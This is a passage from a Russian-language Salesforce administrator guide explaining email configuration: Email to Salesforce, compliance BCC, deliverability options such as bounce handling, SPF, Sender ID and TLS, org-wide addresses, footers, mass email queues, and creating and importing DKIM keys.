Salesforce. В таком случае упрощается отслеживание сведений о продажах.

1. Вразделеличныхпараметроввведите «Email to Salesforce» вполе «Быстрый
поиск» и выберите «Мояфункция Email to Salesforce».

2. Нажмите кнопку «Правка».

3. Установите флажок «Активно».

4. Чтобынастроитьфункцию Email to Salesforce напроверку законностиотправляющего
сервера перед обработкой сообщения, установите флажок «Дополнительные
параметры безопасности эл. почты». Ниже перечислены протоколы проверки
подлинности, используемые функцией Email to Salesforce для проверки законности
отправителя.

• SPF

• SenderId

• DomainKeys

Еслиотправляющийсерверпроходитпроверкукакминимумоднимпротоколом, тосообщениеэл. почтыпринимается
функцией Email to Salesforce. Если сервер не проходит проверку или не поддерживает протоколы, то сообщение эл.
почты пропускается функцией Email to Salesforce.

Совет: Прежде чем установить флажок «Дополнительные параметры безопасности эл. почты», убедитесь,
чтоотправители, использующиефункцию Email to Salesforce, совместимыхотябысоднимпротоколомпроверки
подлинности.

5. Нажмите кнопку «Сохранить».

6. При необходимости нажмите кнопку «Отправить электронное уведомление», чтобы уведомить пользователей о
включениифункции Email to Salesforce, или нажмите кнопку «Пропустить».

Если функция Email to Salesforce включена, то система Salesforce создает уникальный адрес Email to Salesforce для каждого
пользователя. Чтобыпросмотретьуникальныйадресфункции Email to Salesforce инастроитьегопараметры, воспользуйтесь
страницей «Моя функция Email to Salesforce», доступной в личных параметрах. Дополнительную информацию см. в
разделе Как действует функция Email to Salesforce? на странице 1819.

СМ. ТАКЖЕ:

Как работает функция Email to Salesforce?

Индивидуальная настройка системы Salesforce
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Включение СК сообщений эл. почты о соответствии

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения или
отключения СК сообщения
эл. почты о соответствии:
• «Настройка

приложения»

Если организация проверяет все исходящие сообщения эл. почты на соответствие
установленным требованиям, рекомендуем включить поддержку СК сообщений эл.
почтыосоответствиидля автоматическойотправкискрытойкопиикаждогоисходящего
сообщения на указанный адрес эл. почты. Включение СК сообщений эл. почты о
соответствии блокирует возможность редактирования поля «СК» во всех сообщениях
эл. почты и отключает параметр «Автоматическая СК» в разделе «Мои параметры эл.
почты».

Чтобы включить СК сообщений эл. почты о соответствии, выполните указанные ниже
действия.

1. В разделе «Настройка» введите «СК сообщения эл. почты о соответствии» в поле
«Быстрый поиск», затем выберитеСК сообщения эл. почты о соответствии.

2. Установите флажок «Включить».

3. Введите нужный адрес эл. почты.

4. Нажмите кнопку «Сохранить».

Прим.: Скрытая копия автоматически отправляется на указанный адрес для всех
исходящих сообщений эл. почты, кроме системых сообщений (например,
уведомления о восстановлении пароля или завершении импорта).

Настройка параметров доставки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки функции
доставки эл. почты:
• «Настройка

приложения»

Чтобыповыситьвероятностьдоставкисообщенийэл. почты, отправленныхиз системы
Salesforce, настройтепараметрыдоставки эл. почты, заданныедляорганизации. Доставка
эл. почты — это вероятность получения личного или корпоративного сообщения эл.
почты отдельным адресатом.Ниже перечисленыфакторы, понижающие данную
вероятность.

Возвращенное сообщение эл. почты

Сообщение эл. почты, адресованное недопустимому получателю и возвращенное
отправителю. При возврате нескольких сообщений эл. почты, отправленных
пользователем, почтовый сервер может замедлить или заблокировать доставку всех
сообщений эл. почты, отправленных данным пользователем.

Несовместимое сообщение эл. почты
Сообщение эл. почты, которое не соответствует инфраструктуре безопасности эл.
почтыполучателя (например, SPF), проверяющейподлинностьданныхвполе «От»
сообщения эл. почты.

Внимание: Прежде чем активировать функции управления возвратом и
перенаправления эл. почты, обратитесь к администратору эл. почты с просьбой
проверитьпочтовыйсерверорганизациинапредметперенаправлениясообщений
эл. почты, отправленных из компании Salesforce; в противном случае доставка
сообщений эл. почты, отправленных системой Salesforce, не гарантируется.
Дополнительнуюинформациюофункцииперенаправленияэл. почтысм. вразделе
«Настройка функции перенаправления эл. почты» на странице 2212.

Чтобы настроить параметры доставки эл. почты, заданные для организации, выполните указанные ниже действия.
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1. Введите строку «Доставка» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Доставка».

2. Чтобы определить тип исходящего сообщения эл. почты, измените параметр «Уровень доступа» в разделе «Доступ
для отправки эл. почты». Если компания Salesforce запрещает изменение данного параметра, то параметр «Уровень
доступа» может быть недоступен для редактирования.

• «Нет доступа»: данное значение блокирует все исходящие сообщения эл. почты пользователей.

• «Только системные сообщения эл. почты»: данное значение разрешает только автоматические сообщения эл.
почты (например, при создании пользователя или восстановлении пароля).

• «Все сообщения эл. почты»: данное значение разрешает все типы исходящих сообщений эл. почты. Данное
значение используется по умолчанию для новых небезопасных организаций.

Совет: Параметр «Только системные сообщения эл. почты» позволяет контролировать сообщения эл.
почты, отправленные из безопасных сред, и предотвращать рассылку тестовых сообщений эл. почты.

• По умолчанию новым безопасным средам назначается параметр «Только системные сообщения эл.
почты».

• Безопасным средам, созданным до выпуска Spring'13, по умолчаниюназначается параметр «Все сообщения
эл. почты».

3. Чтобы проверить правильность адресов эл. почты, указанных для контактов, интересов и организаций-лиц, и
гарантировать беспрепятственную отправку сообщений эл. почты на данные адреса при превышении допустимого
количества возвратов, установите флажок «Активировать функцию управления возвратом».

Если функция управления возвратом активирована, а сообщение эл. почты отправляется контакту, интересу или
организации-лицу, использующемунедействительныйадресэл. почты, тосистемаSalesforceотображаетпредупреждение
напротивданногосообщенияиблокируетотправкуновыхсообщенийдообновленияилиподтвержденияуказанного
адреса. Крометого, сообщениеэл. почтывозвращаетсявсистемуSalesforce, вместоличногоадресаэл. почтыотправителя.

Совет: Чтобы просмотреть список всех адресов, возвративших сообщение эл. почты, воспользуйтесь
стандартными отчетами «Возвращенные контакты» и «Возвращенные интересы». Отчет содержит причину
возврата сообщения эл. почты, дату возвратаиимя соответствующегоконтакта, интересаилиорганизации-лица.

4. Чтобы разрешить системе Salesforce поиск экземпляров любого адреса, возвратившего сообщение эл. почты, по всем
интересам, контактам и организациям-лицам, а также отображение предупреждения о возврате напротив каждого
экземпляра, установите флажок «Показывать предупреждение о возврате напротив всех адресов эл. почты». В
противномслучае система Salesforceотображаетпредупреждениеовозврате тольконапротив записи, использованной
для отправки сообщения эл. почты.

5. Чтобы разрешить системе Salesforce отправку копии заголовка возвращенного сообщения эл. почты отправителю,
установите флажок «Перенаправить возвращенные сообщения эл. почты отправителю». В противном случае
заголовоквозвращенногосообщенияэл. почтыотправляется толькосистеме Salesforce. Изсоображенийбезопасности,
вобоихслучаях система Salesforceнеперенаправляетотправителютекст возвращенногосообщенияэл. почты. Данный
параметр применяется ко всем пользователям организации и не может быть включен для отдельного пользователя
или сообщения эл. почты.

6. Чтобы автоматически изменять значение поля конверта «От» каждого сообщения эл. почты, отправленного из
системы Salesforce, в целях соответствия инфраструктуре безопасности эл. почты, используемой получателями
(например, SPF), установитефлажок «Включить соответствие стандартным механизмам безопасности эл. почты».

Многиепочтовыесистемыполучателейиспользуют SPF дляпроверкизаконностисообщенийэл. почты. SPF проверяет
поле конверта «От» входящего сообщения эл. почты. Если даннаяфункция включена, то система Salesforce заменяет
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значение поля конверта «От» адресом эл. почты Salesforce для проверки законности отправителя. Поле «От»,
используемое в заголовке, сохраняет адрес эл. почты отправителя.

Прим.: Дополнительную информацию о SPF см. на веб-узлеwww.openspf.org.

7. Чтобы соответствовать инфраструктуре Sender ID, установитефлажок «Включить соответствие протоколу Sender

ID». Данный параметр автоматически заполняет поле конверта «Отправитель» каждого сообщения эл. почты,
отправленного из системы Salesforce, адресом no-reply@Salesforce. Таким образом, принимающие почтовые
сервера, использующиепротоколпроверкиподлинностиэл. почты Sender ID, могутпроверятьотправителяпосредством
поиска DNS по заголовкам «Отправитель» и «От» входящего сообщения эл. почты. Все ответы будут доставляться
на адрес эл. почтыотправителя. Еслиданныйфлажокне установлен, тополю «Отправитель» присваивается нулевое
значение, а доставка эл. почты прекращается при выполнении проверки Sender ID почтовой системой получателя.

Прим.:

• Рекомендуем включать соответствие протоколу Sender ID только при наличии получателей, использующих
данных протокол проверки подлинности эл. почты.

• Если включено соответствие протоколу Sender ID, то почтовый клиент получателя (не система Salesforce)
может добавлять строку «Отправлено от имени» в поле «От» сообщения эл. почты, отправленного из
системы Salesforce.

• Дополнительную информацию о Sender ID см. на веб-узле
www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx.

8. Чтобыразрешитьсистеме Salesforceотправку статусногосообщенияэл. почтыпризавершениипакетныхэлектронных
рассылок, установите флажок «Уведомить отправителя о завершении пакетной электронной рассылки».

9. Чтобы определить способ использования протокола TLS системой Salesforce для безопасного обмена сообщениями
эл. почты во время SMTP-сеансов, выберите одно из указанных ниже значений.

• «Предпочтительно»  (по умолчанию). Если удаленный сервер поддерживает протокол TLS, то система Salesforce
обновляет текущий SMTP-сеанс для использования TLS. В противном случае система Salesforce продолжает сеанс
без протокола TLS.

• «Обязательно». Система Salesforce продолжает сеанс только при поддержке протокола TLS удаленным сервером.
В противном случае система Salesforce завершает сеанс без доставки эл. почты.

• «Проверка предпочтительна». Еслиудаленныйсерверподдерживаетпротокол TLS, то система Salesforceобновляет
текущий SMTP-сеанс для использования TLS. Прежде чем начать сеанс, система Salesforce проверяет сертификат
на наличиеподписидопустимымцентром сертификации, а общееимя, указанное в сертификате, на соответствие
домену или службе обмена почтой, выбранной для текущего подключения. Если протокол TLS доступен, но
сертификат не подписан или используется другое общее имя, то система Salesforce прерывает сеанс без доставки
эл. почты. В противном случае система Salesforce продолжает сеанс без протокола TLS.

• «Проверка обязательна». Система Salesforce продолжает сеанс только при поддержке протокола TLS удаленным
сервером, наличии подписи допустимым центром сертификации и соответствии общего имени, указанного в
сертификате, домену или службе обмена почтой, выбранной для подключения системы Salesforce. Если данные
критерии не выполняются, то система Salesforce завершает сеанс без доставки эл. почты.

Прим.: При выборе любого значения, кроме стандартного значения «Предпочтительно», установите флажок
«Ограничить TLS следующими доменами:» и введите домены через запятую. При необходимости
воспользуйтесь специальным символом (*); например, домен *.subdomains.com соответствует адресам эл.
почты ivan@aco.subdomains.com и ivan@bco.subdomains.com (но не адресу ivan@subdomains.com). Если домены не
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указаны, то система Salesforce использует параметр TLS, заданный для всех исходящих сообщений эл. почты, что
может препятствовать их доставке.

10. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Отправка сообщений эл. почты в Salesforce Classic

Включение СК сообщений эл. почты о соответствии

Настройка функции перенаправления эл. почты

Тестирование доставки эл. почты

Единые адреса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки единых
адресов:
• «Изменение всех

данных»

Если организация требует использования общего псевдонима эл. почты, то список
единых адресов может быть задан для каждого профиля пользователя. Единые адреса
определяют общий адрес эл. почты, который может использоваться профилем
пользователя. При отправке сообщения эл. почты из системы Salesforce пользователи
данныхпрофилеймогут выбирать адрес эл. почты, отличныйот заданноговполе «От».
Ответы отправляются на единый адрес.

Например, профиль «Служба поддержки» назначается нескольким пользователям
организации. Данный профиль может быть связан с адресом эл. почты
support@acme.com и значением поля «Отображаемое имя» «Cлужба поддержки
Acme». Если пользователи профиля «Служба поддержки» отправляют исходящие
сообщения эл. почты посредством системы Salesforce, то поле «От» может отображать
адрес support@acme.com вместо личного адреса эл. почты Salesforce.

Проверенный единый адрес доступен в качестве значения поля «От» при отправке
сообщения эл. почты или электронного предупреждения.

Чтобы открыть список определенных единых адресов, введите строку «Единые адреса»
в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Единые адреса».
Ниже перечислены действия, доступные на данной странице.

• Чтобы создать единый адрес, нажмите кнопку «Добавить».

• Чтобы изменить любое поле, связанное с псевдонимом, щелкните ссылку «Правка».

– «Отображаемое имя»: слово илифраза, отображаемое получателю в качестве отправителя сообщения эл. почты.

– «Адрес эл. почты»: адрес эл. почты, используемый при отправке исходящего сообщения эл. почты.

– «Разрешенные профили»: список профилей, использующих адрес эл. почты в качестве псевдонима.

– «Статус»: текущий этап проверки. Новый единый адрес может использоваться только после проверки. Чтобы
отправить повторное проверочное сообщение, щелкните ссылку «Отправить повторно».

• Чтобы удалить псевдоним, щелкните ссылку «Удал.».

Прим.: Единый адрес не может использоваться для отправки пакетных электронных рассылок или запросов об
обновлении контактов. Единый адрес эл. почты, используемый в электронном предупреждении, не может быть
удаленилиизменен.Единыеадресанемогутиспользоватьсязапланированнымиотчетами, а такжеприпланировании
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обновления панелей мониторинга, отправке стандартных писем и отправке запросов на проведение встречи
контактам или интересам.

СМ. ТАКЖЕ:

Управление едиными нижними колонтитулами сообщения эл. почты

Определение единых адресов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки единых
адресов:
• «Изменение всех

данных»

Чтобыопределить единыйадресдляпрофиляпользователя, выполните указанныениже
действия.

1. Введите строку «Единые адреса» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Единые адреса».

2. Нажмите кнопку «Добавить».

3. Заполнитеполе «Отображаемоеимя». Данноеполеопределяетимя, отображаемое
в исходящих сообщениях эл. почты. Максимальная длина: 300 символов.

4. Заполните поле «Адрес эл. почты». Данное поле может содержать любой
стандартный адрес эл. почты. Максимальная длина: 270 символов.

5. Чтобы разрешить всем профилям организации использование нового адреса,
введенного в поле «От», установите переключатель «Разрешить использование
данного адреса отправителя всем профилям». Чтобывыбратьконкретныйпрофиль,
установитепереключатель «Разрешить использование данного адреса отправителя
только выбранным профилям».

6. Чтобысохранитьвнесенныеизменения, нажмитекнопку«Сохранить». Чтобызадать
другой единый адрес, нажмите кнопку «Сохранить и создать». Проверочное сообщение, содержащее ссылку для
завершения процесса проверки, отправляется на новый адрес эл. почты. Адрес, введенный в поле «От», может
использоваться только после выбора данной ссылки. Чтобы отменить внесенные изменения и открыть предыдущую
страницу, нажмите кнопку «Отмена».

Прим.: Единыеадресанемогутиспользоватьсязапланированнымиотчетами, а такжеприпланированииобновления
панелей мониторинга, отправке стандартных писем и отправке запросов на проведение встречи контактам или
интересам.

Чтобы воспользоваться единым адресом, отправьте сообщение эл. почты или настройте электронное предупреждение,
а затем выберите нужный адрес из раскрывающегося списка.
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Управление едиными нижними колонтитулами сообщения эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования нижних
колонтитулов сообщения
эл. почты:
• «Изменение всех

данных»

Пользователь может создать собственные нижние колонтитулы, которые должны
отображаться в нижней части всех исходящих сообщений эл. почты, отправляемых
посредством системы Salesforce или интерфейса API. Каждая кодировка позволяет
создаватьотдельныйнижнийколонтитулсообщения эл. почтыивыбирать стандартные
нижние колонтитулы для отдельных сообщений эл. почты и пакетных электронных
рассылок. Стандартные нижние колонтитулы используются в случае несоответствия
нижнего колонтитула кодировке исходящего сообщения эл. почты.

Создание нижних колонтитулов сообщения эл. почты
1. Введите строку «Нижние колонтитулы сообщения эл. почты» в поле «Быстрый

поиск» вменю «Настройка» ивыберитепункт «Нижниеколонтитулысообщения
эл. почты».

2. Нажмите кнопку «Создать».

3. Введите имя.

4. Определитедоступностьнижнегоколонтитула: дляотдельныхсообщенийэл. почты,
пакетных электронных рассылок или обоих компонентов.

5. Выберите кодировку сообщений эл. почты. Кодировка определяет сообщения эл.
почты, которыедолжнысодержатьнижнийколонтитул. Каждаякодировкапозволяет
создавать для отдельных сообщений эл. почты и пакетных электронных рассылок по одному активному нижнему
колонтитулу.

6. Введите текст нижнего колонтитула.

Прим.: Нижниеколонтитулымогутбытьтолькотекстовыми; HTML-тегинеотображаются. Максимальныйразмер
не должен превышать 32 Кб.

Редактирование нижних колонтитулов сообщения эл. почты
1. Введитестроку «Нижние колонтитулы сообщения эл. почты» вполе «Быстрый поиск» вменю «Настройка» ивыберите

пункт «Нижние колонтитулы сообщения эл. почты».

2. Чтобыизменить нижний колонтитул сообщения эл. почты, щелкните ссылку «Правка» напротив нужного нижнего
колонтитула или на странице сведений о нижнем колонтитуле.

3. Измените сведения о нижнем колонтитуле и нажмите кнопку «Сохранить».

Выбор стандартных нижних колонтитулов сообщения эл. почты
Система позволяет выбирать для отдельных сообщений эл. почты и пакетных электронных рассылок по одному
стандартному нижнему колонтитулу. Данные стандартные нижние колонтитулы используются в случае несоответствия
нижнего колонтитула кодировке исходящего сообщения эл. почты.

1. Введитестроку «Нижние колонтитулы сообщения эл. почты» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Нижние колонтитулы сообщения эл. почты».

2. Выберитестандартныенижниеколонтитулывраскрывающихсясписках «По умолчанию для отдельного сообщения
эл. почты» и «По умолчанию для пакетной рассылки».
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3. Нажмите кнопку «Сохранить».

Прим.: Если кнопка «Сохранить» не нажимается, то выбор стандартного нижнего колонтитула отменяется
при закрытии страницы.

Деактивация нижних колонтитулов сообщения эл. почты
Система позволяет деактивировать нижний колонтитул сообщения эл. почты.

1. Введитестроку «Нижние колонтитулы сообщения эл. почты» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Нижние колонтитулы сообщения эл. почты».

2. Снимите флажки «Отдельное сообщение эл. почты» и «Пакетная рассылка» напротив нижнего колонтитула.

3. Нажмите кнопку «Сохранить».

Тестирование доставки эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для тестирования доставки
эл. почты:
• «Изменение всех

данных»

Система Salesforceотправляет сообщение эл. почты сомножества различных IP-адресов.
Числоадресовзависитотцентраобработкиданныхиотображаетсянастраницепроверки
доставки. Если организация блокирует любой из данных IP-адресов, то пользователи
могутполучатьневсе сообщенияэл. почты, отправляемыесистемой Salesforce. Выможете
проверить, может ли организация принимать эл. почту с каждого IP-адреса Salesforce.

1. В меню «Настройка» введите «Проверка доставки» в поле «Быстрый поиск», затем
выберите «Проверка доставки».

2. Введите рабочий адрес эл. почты.

3. Нажмите кнопку «Отправить». Система Salesforce отправляет тестовое сообщение
совсех IP-адресовнауказанныйадресэл. почты. Каждоетестовоесообщениесодержит
IP-адрес, использованный для его отправки.

4. Проверьте почтовый ящик на наличие всех тестовых сообщений.

При получении не всех тестовых сообщений администратор почтового сервера
организации должен добавить IP-адреса Salesforce в список разрешенных. В этом случае
почтовый сервер организации сможет принимать сообщения эл. почты, отправленные
с заблокированного IP-адреса. Текущий список диапазонов IP-адресов Salesforce см. в
разделе «Какие IP-адреса Salesforce добавить в список разрешенных адресов?».

Система Salesforceиспользуетразные IP-адреса для входящихиисходящихсообщенийэл. почты. IP-адреса, используемые
для исходящих сообщений эл. почты, не поддерживают обработку входящих сообщений эл. почты.

СМ. ТАКЖЕ:

Настройка параметров доставки

Включение СК сообщений эл. почты о соответствии
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Удаление вложений эл. почты, отправленных в виде ссылок

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления вложений эл.
почты, отправленных в виде
ссылок:
• «Изменение всех

данных»

Система позволяет находить и удалять вложения, отправленные в виде ссылок. При
выборе ссылки на вложение получателям отображается уведомление о необходимости
обращениякотправителюсообщенияэл. почтыдляпросмотравложения.Поискможет
выполняться только в течение срока хранения сообщений эл. почты, установленного в
организации (как правило, 30 дней; дополнительную информацию можно получить в
службе поддержки Salesforce).

Чтобы найти и удалить вложения эл. почты, отправленные в виде ссылок, выполните
указанные ниже действия.

1. Введитестроку «Вложения» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Удалить вложения, отправленные в виде ссылок».

2. Введите любые из указанных ниже сведений.

• Имя файла (дополнительно), имя пользователя и диапазон дат.

– При необходимости имя вложения, включая расширение файла (например,
РезультатыТекущегоГода.pdf). Система позволяет использовать специальные
символы (например, критерийпоиска РезультатыТекущегоГо возвращаетфайл
РезультатыТекущегоГода.pdf).

– Имя отправителя.

– Диапазон дат, использованный для отправки сообщения эл. почты.

• URL-адрес вложения: щелкните ссылку на вложение (.html) в сообщении эл. почты; скопируйте и вставьте
URL-адрес, открывшийся в обозревателе.

3. Нажмите кнопку «Поиск».

• Результаты поиска возвращают не более 100 совпадающих записей.

• Есливложениеотправленопосредствомпакетнойэлектроннойрассылки, торезультатыпоиска возвращаютодну
записьдлякаждых 100 отправленныхсообщенийэл. почты. Чтобыудалитьвложение, удалитеоднуизвозвращенных
записей.

4. Щелкните ссылку «Удал.» напротив нужного вложения в результатах поиска. При выборе ссылки на вложение
получателям отображается уведомление о необходимости обращения к отправителю сообщения эл. почты для
просмотра вложения.

Прим.: Удаленные вложения не могут быть восстановлены из корзины.
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Отслеживание очереди пакетной электронной рассылки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра пакетной
электронной рассылки или
отмены отложенной
пакетной электронной
рассылки:
• «Пакетная электронная

рассылка»

Для просмотра всех
пакетных электронных
рассылок или отмены
отложенной пакетной
электронной рассылки в
организации:
• «Изменение всех

данных»

Чтобы просмотреть статус запланированных пакетных электронных рассылок и при
необходимости отменить пакетные электронные рассылки, воспользуйтесь очередью
пакетной электронной рассылки.

Просмотреть запланированные пакетные рассылки электронной почты можно на
странице «Пакетныеэлектронныерассылки» вразделеличныхпараметров. Приналичии
полномочия для просмотра пакетных рассылок в организации введите «Пакетные
электронные рассылки» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Пакетные электронные рассылки».

Ниже перечислены действия, доступные на данных страницах.

• Чтобыотменитьотложеннуюпакетнуюэлектроннуюрассылку, щелкните«Отмена».

• Чтобы остановить пакетную электронную рассылку, которая уже выполняется
системой Salesforce, щелкните «Остановить».

• Чтобы удалить запись отправленной или отмененной пакетной электронной
рассылки из очереди, щелкните ссылку «Удал.».

• Чтобы просмотреть сведения об отдельной пакетной электронной рассылке,
щелкните имя нужной рассылки.

Очередьпакетнойэлектроннойрассылкиотображаетколичествополучателейпакетной
электроннойрассылки. Данныечисламогутразличаться. Возможныепричинысм. ниже.

• Пакетная электронная рассылкапревышает ежедневноеограничениепо количеству
пакетных электронных рассылок. Система Salesforce не отправляет сообщение
выбранным получателям.

• Какминимумодинвыбранныйполучательотменилвозможностьполученияпакетных
электронных рассылок после планирования, но перед обработкой пакетной
электронной рассылки.

• Адрес эл. почты как минимум одного выбранного получателя удален из контактов
или интересов после планирования, но перед обработкой пакетной электронной
рассылки.

• Пользователь, выполнивший пакетную электронную рассылку, деактивирован после планирования, но перед
обработкой пакетной электронной рассылки. Система Salesforce не выполняет пакетные электронные рассылки,
запланированные деактивированным пользователем.

СМ. ТАКЖЕ:

Пакетная электронная рассылка в Salesforce Classic
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Создание ключа DKIM

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления ключами
DKIM:
• «Настройка

приложения»

Рекомендуемиспользоватьключ DKIM дляпредоставлениясистемеSalesforceвозможности
подписания исходящих сообщений эл. почты, отправленных от имени организации.
Действительная подпись указывает получателям на применение сторонней системой
(например, Salesforce) разрешенного способа обработки сообщений эл. почты.

При создании ключа DKIM система Salesforce генерирует пару открытого и секретного
ключей. Рекомендуемопубликоватьоткрытыйключв DNS для уведомленияполучателей
о том, что использование данного ключа для подписания сообщений эл. почты
разрешено ответственным за домен. Система Salesforce использует секретный ключ для
создания заголовковподписи DKIM висходящемсообщенииэл. почты. Затемполучатели
могут проверить сообщение эл. почты на предмет его подписания посредством
разрешенного ключа путем сопоставления заголовка подписи с открытым ключом в
DNS. При публикации политики DMARC получатели могут использовать подпись DKIM
для проверки сообщения эл. почты на предмет его соответствия политике DMARC.

Чтобы создать ключ, выполните указанные ниже действия.

1. Введите строку «Ключи DKIM» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Ключи DKIM».

2. Нажмите кнопку «Создать ключ».

3. Введите уникальное имя селектора.

4. Введите имя домена.

5. Выберите нужный тип совпадения домена.

6. Нажмите кнопку «Сохранить».

• Поумолчаниюключнеактивен. Прежде чем активировать ключ, добавьте открытый ключ в запись DNS. Подписание
DKIM активно только при наличии активного ключа DKIM.

• Разрешается создаватьнеболееодного активногоключа DKIM для каждогоименидомена. Использованиенескольких
активных ключей DKIM разрешается только при отправке сообщений эл. почты из нескольких доменов или при
создании субдоменов и обработке совпадения домена на уровне субдомена.

• При вставке или обновлении ключа домена данное изменениеможет влиять на текущие ключи DKIM. Например, при
назначении параметру DomainMatch значения DomainAndSubdomains для домена primer.ru и последующем
назначении параметру DomainMatch значения SubdomainsOnly для домена pochta.primer.ru разрешается
использовать любой ключ. Ниже приведен алгоритм разрешения конфликтов при наложении ключей домена.

1. Если два ключа являются одинаково конкретными относительно типа совпадения, то новый ключ заменяет и
деактивирует текущий ключ.

2. Если новый ключ является более конкретным, чем текущий, то система использует новый ключ и препятствует
применению текущего ключа в случаях использования нового ключа. Например, DomainOnly и
SubdomainsOnly являются более конкретными, чем DomainAndSubdomains, поэтому новый ключ
DomainOnly заменяет DomainMatch для текущего ключа DomainAndSubdomains на SubdomainsOnly.

3. Если разные домены нескольких ключей соответствуют отправляющему домену, то система использует ключ,
содержащий самое длинное имя домена. При равенстве имен система использует наиболее конкретный ключ.

Дополнительную информацию о DKIM см. на веб-сайте http://dkim.org.
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Импорт ключа DKIM

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления ключами
DKIM:
• «Настройка

приложения»

Рекомендуемиспользоватьключ DKIM дляпредоставлениясистемеSalesforceвозможности
подписания исходящих сообщений эл. почты, отправленных от имени организации.

Некоторые компании используют несколько организаций Salesforce, пользователям
которыхназначаются адреса эл. почты, содержащиеимядомена. Поэтомудля компаний,
которые хотят, чтобы система Salesforce подписывала сообщения электронной почты,
отправляемые этими пользователями, может потребоваться общий доступ к ключам
DKIM. Чтобывыполнить соответствующиедействия, воспользуйтесьданнойстраницей.

Сначала создайте ключ и назначьте его одной организации. Чтобы импортировать
данный ключ для использования в другой организации, скопируйте имя селектора, имя
домена и данные об открытом и секретном ключах. Эти данные можно получить на
странице сведений об импортируемом ключе. После копирования данных ключа
откройте целевую организацию и выполните указанные ниже действия.

1. Введите строку «Ключи DKIM» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Ключи DKIM».

2. Нажмите кнопку «Импортировать ключ».

3. Введите имя селектора, скопированное из исходной организации.

4. Введите имя домена, скопированное из исходной организации.

5. Вставьте скопированные данные об открытом и секретном ключах в соответствующие поля.

6. Выберите требуемый тип сопоставления домена. Рекомендуем использовать значение, выбранное для ключа в
исходной организации.

7. Нажмите кнопку «Сохранить».

Поскольку данные об открытом и секретном ключах используются в исходной организации, то, как правило, следует
немедленно активировать ключ в целевой организации.

Прим.: Данные секретного ключа — это зашифрованная форма фактических данных секретного ключа,
используемая для подписания сообщений эл. почты. Их расшифровка выполняется для внутренних целей при
подписании сообщений эл. почты. Таким образом, данные могут использоваться только внутри системы Salesforce.
Например, данные об открытом и секретном ключах не могут использоваться во внешней почтовой системе.
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Работа с шаблонами стандартных писем

Управление шаблонами стандартных писем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки шаблонов
стандартных писем:
• «Управление

общедоступными
шаблонами»

Для редактирования
шаблонов стандартных
писем:
• «Управление

общедоступными
шаблонами»

Шаблоныстандартныхписемопределяютсодержимоестандартногописьма. Шаблоны
содержат переменные, называемые полями слияния и позволяющие использовать в
созданном документе данные из записей (например, имя и адрес контакта).

Созданиешаблонов стандартныхписемвприложении Microsoft Word иихпоследующая
загрузка в систему Salesforce выполняются администратором. Дополнительную
информацию см. в разделах ниже.

• «Создание шаблонов стандартных писем» (сведения о созданиишаблонов
стандартных писем на основе пустого документа Word).

• «Изменение существующихшаблонов стандартных писем» (сведения о загрузке
образцов шаблонов и их изменении в соответствии с потребностями компании).

• «Загрузка шаблонов стандартных писем в Salesforce» (сведения о загрузке готовых
шаблонов стандартных писем в систему Salesforce).

Совет: Чтобы начать работу, загрузите образцышаблонов стандартных писем.

СМ. ТАКЖЕ:

Стандартные письма

Рекомендации по использованию полей слияния в шаблонах стандартных писем

Отправка отдельных документов стандартных писем
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Создание шаблонов эл. почты Visualforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пакетная электронная
рассылка недоступна в
версиях: Personal Edition,
Contact Manager и Group
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
шаблонов эл. почты
Visualforce:
• «Настройка

приложения»

Для создания илиизменения
папок с общедоступными
шаблонами эл. почты:
• «Управление

общедоступными
шаблонами»

